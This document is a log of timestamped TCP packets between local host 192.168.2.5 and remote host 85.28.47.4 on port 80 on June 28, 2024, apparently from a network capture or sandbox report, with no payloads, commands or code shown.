Jun 28, 2024 13:36:03.979984045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.979993105 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.980003119 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.980012894 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.980022907 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.980026960 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:03.980035067 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.980045080 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.980051994 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:03.980076075 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:03.980103970 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:03.980266094 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.980315924 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:03.986129999 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:03.986195087 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.060348988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.060374022 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.060384989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.060420036 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.060431957 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.060472012 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.060493946 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.060504913 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.060524940 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.060524940 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.060524940 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.060604095 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.060614109 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.060623884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.060635090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.060643911 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.060646057 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.060655117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.060662985 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.060682058 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.060703039 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.060867071 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.060877085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.060885906 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.060898066 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.060908079 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.060909033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.060919046 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.060929060 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.060930014 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.060954094 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.060975075 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.061135054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.061145067 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.061181068 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.061309099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.061320066 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.061330080 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.061352015 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.061372042 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.061491013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.061501026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.061510086 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.061537981 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.061549902 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.061670065 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.061680079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.061688900 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.061698914 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.061712980 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.061728001 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.061875105 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.061885118 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.061893940 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.061904907 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.061914921 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.061923981 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.061932087 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.061932087 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.061961889 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.062036991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.062047958 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.062057018 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.062068939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.062077999 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.062081099 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.062088966 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.062098026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.062100887 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.062119961 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.062136889 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.062491894 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.062503099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.062515974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.062526941 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.062536955 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.062539101 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.062546968 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.062556028 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.062561989 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.062566996 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.062577009 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.062577963 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.062597990 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.062611103 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.062613964 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.062622070 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.062630892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.062647104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.062648058 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.062658072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.062664032 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.062670946 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.062694073 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.062700033 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.062702894 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.062710047 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.062720060 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.062730074 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.062735081 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.062738895 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.062747002 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.062750101 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.062761068 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.062771082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.062777996 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.062781096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.062796116 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.062808037 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.074692011 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.074742079 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.074744940 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.074757099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.074798107 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.074903011 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.074913979 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.074919939 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.074919939 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.074919939 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.074924946 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.074934006 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.074935913 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.074949026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.074959040 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.074984074 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.075057983 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.075071096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.075103998 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.075246096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.075257063 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.075265884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.075277090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.075285912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.075289965 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.075295925 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.075305939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.075309992 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.075316906 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.075319052 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.075326920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.075336933 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.075346947 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.075346947 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.075375080 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.075392008 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.075750113 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.075761080 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.075769901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.075779915 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.075788975 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.075795889 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.075798988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.075809956 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.075819969 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.075820923 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.075829983 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.075833082 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.075862885 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.142786026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.142807007 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.142816067 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.142941952 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.142951965 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.142961025 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.142971039 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.142976046 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.142982006 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.142997026 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.143018007 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.143160105 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.143171072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.143179893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.143189907 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.143199921 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.143203020 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.143209934 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.143220901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.143227100 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.143229961 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.143237114 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.143265963 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.152828932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.152839899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.152846098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.153001070 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.153009892 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.153012037 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.153022051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.153032064 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.153039932 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.153043032 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.153064013 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.153090954 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.153136015 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.153146982 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.153155088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.153165102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.153175116 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.153184891 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.153186083 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.153211117 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.153260946 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.153426886 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.153439045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.153449059 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.153458118 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.153474092 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.153500080 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.153553963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.153563976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.153573036 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.153583050 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.153593063 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.153604031 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.153604984 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.153615952 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.153624058 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.153630018 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.153639078 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.153649092 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.153650045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.153661013 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.153666019 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.153683901 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.153704882 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.154119968 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.154130936 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.154139042 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.154149055 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.154159069 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.154169083 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.154171944 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.154179096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.154189110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.154192924 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.154200077 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.154210091 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.154211998 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.154220104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.154228926 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.154231071 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.154242039 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.154252052 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.154252052 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.154273033 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.154289007 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.154434919 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.154447079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.154455900 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.154465914 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.154475927 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.154484987 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.154485941 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.154496908 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.154505968 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.154534101 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.154556990 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.154577971 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.154588938 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.154597998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.154608011 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.154617071 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.154625893 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.154637098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.154637098 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.154645920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.154658079 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.154664993 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.154665947 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.154668093 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.154678106 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.154685020 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.154711008 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.155352116 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.155361891 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.155370951 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.155380964 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.155390978 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.155400991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.155409098 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.155409098 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.155411005 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.155421019 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.155431986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.155432940 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.155441999 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.155452967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.155462027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.155472040 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.155473948 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.155473948 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.155497074 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.155514002 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.158909082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.158967972 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.159087896 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.159101009 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.159111977 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.159122944 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.159132004 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.159137011 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.159142017 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.159162998 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.159192085 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.159192085 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.159223080 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.159235001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.159244061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.159275055 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.159301996 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.159404039 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.159414053 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.159423113 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.159431934 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.159442902 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.159452915 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:04.159454107 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:04.159463882 CEST	80	49705	85.28.47.4	192.168.2.5
